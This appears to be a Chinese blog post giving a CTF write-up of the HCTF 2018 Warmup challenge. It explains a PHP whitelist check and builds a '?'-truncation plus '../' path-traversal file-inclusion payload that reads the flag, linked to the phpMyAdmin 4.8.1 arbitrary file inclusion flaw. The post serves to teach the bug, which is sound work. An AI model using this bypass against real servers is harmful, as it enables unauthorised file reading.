zoukankan      html  css  js  c++  java
  • [原题复现]HCTF 2018 Warmup(文件包含)

    HCTF 2018 Warmup

    原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup

    考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

    线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用协会内部的CTF训练平台找到此题

    过程

    访问页面查看源码发现注释里面的内容访问它

    访问获得index.php的源码

    payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=source.php
     1  <?php
     2     highlight_file(__FILE__);
     3     class emmm
     4     {
     5         public static function checkFile(&$page)
     6         {
     7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
     8             if (! isset($page) || !is_string($page)) {
     9                 echo "you can't see it";
    10                 return false;
    11             }
    12 
    13             if (in_array($page, $whitelist)) {
    14                 return true;
    15             }
    16 
    17             $_page = mb_substr(
    18                 $page,
    19                 0,
    20                 mb_strpos($page . '?', '?')
    21             );
    22             if (in_array($_page, $whitelist)) {
    23                 return true;
    24             }
    25 
    26             $_page = urldecode($page);
    27             $_page = mb_substr(
    28                 $_page,
    29                 0,
    30                 mb_strpos($_page . '?', '?')
    31             );
    32             if (in_array($_page, $whitelist)) {
    33                 return true;
    34             }
    35             echo "you can't see it";
    36             return false;
    37         }
    38     }
    39 
    40     if (! empty($_REQUEST['file'])
    41         && is_string($_REQUEST['file'])
    42         && emmm::checkFile($_REQUEST['file'])
    43     ) {
    44         include $_REQUEST['file'];
    45         exit;
    46     } else {
    47         echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
    48     }  
    49 ?> 
    View Code

    PHP逻辑运算符

    &&逻辑与

    ||逻辑或运算符


    !empty($_REQUEST['file'])
    要我们的file变量不为空我们先进行分析这段代码 首先看80行第一个要求

    is_string($_REQUEST['file'])要求我们传进来的值是字符串类型

    emmm::checkFile($_REQUEST['file'])这里将我们的的值传到emmm类里面的checkFile函数

    这三个值通过&&逻辑与运算符连接也就是要求这块函数的返回值要全为真才能执行if里面的文件包含的代码 否则就执行else里面的图片代码

     先来熟悉几个函数

    //mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
    // mb_strpos (haystack ,needle )
    // haystack:要被检查的字符串。
    // needle:要搜索的字符串

    //mb_substr() 函数返回字符串的一部分。

    //str 必需。从该 string 中提取子字符串。
    //start 必需。规定在字符串的何处开始。
    //ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

    emmm类分析

    从代码中发现新的页面hint访问获得flag文件名

    payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php

    总的来说这个cehckFile这个函数进行了 3次白名单检测、 2次问好过滤、一次URL解码

     1   class emmm
     2     {
     3         public static function checkFile(&$page)
     4 
     5         {
     6             //白名单列表
     7             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
     8             //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
     9             if (! isset($page) || !is_string($page)) {
    10                 echo "you can't see it A";
    11                 return false;
    12             }
    13             //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
    14             if (in_array($page, $whitelist)) {
    15                 return true;
    16             }
    17             //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
    18             $_page = mb_substr(
    19                 $page,
    20                 0,
    21                 mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
    22             );
    23 
    24              //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
    25             if (in_array($_page, $whitelist)) {
    26                 return true;
    27             }
    28             //url对$page解码
    29             $_page = urldecode($page);
    30 
    31             //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
    32             $_page = mb_substr(
    33                 $_page,
    34                 0,
    35                 mb_strpos($_page . '?', '?')
    36             );
    37             //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
    38             if (in_array($_page, $whitelist)) {
    39                 return true;
    40             }
    41             echo "you can't see it";
    42             return false;
    43         }
    44     }

     我们现在可以构造获取flag的语句

    hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证 一次?过滤后他就是hint.php 再进行一次白名单验证 返回为真 则达成条件进行包含得到flag

    最终payload:http://03b2cc85-7af4-439b-a06e-41da80ff6505.node3.buuoj.cn/index.php?file=hint.php?../../../../../ffffllllaaaagggg 
    
    
    
  • 相关阅读:
    关于requests.exceptions.SSLError: HTTPSConnectionPool(host='XXX', port=443)问题
    python Requests库总结
    fiddler实现手机抓包及手机安装证书报错“无法安装该证书 因为无法读取该证书文件”解决方法
    django接口的工作原理
    postman+newman+jenkins 持续集成搭建及使用,实现接口自动化
    Jmeter之JDBC Request及参数化
    selenium+Python中的面试总结
    UI自动化测试:页面截图的3种方法
    selenium中通过location和size定位元素坐标
    Allure+pytest生成测试报告
  • 原文地址:https://www.cnblogs.com/xhds/p/12266072.html
Copyright © 2011-2022 走看看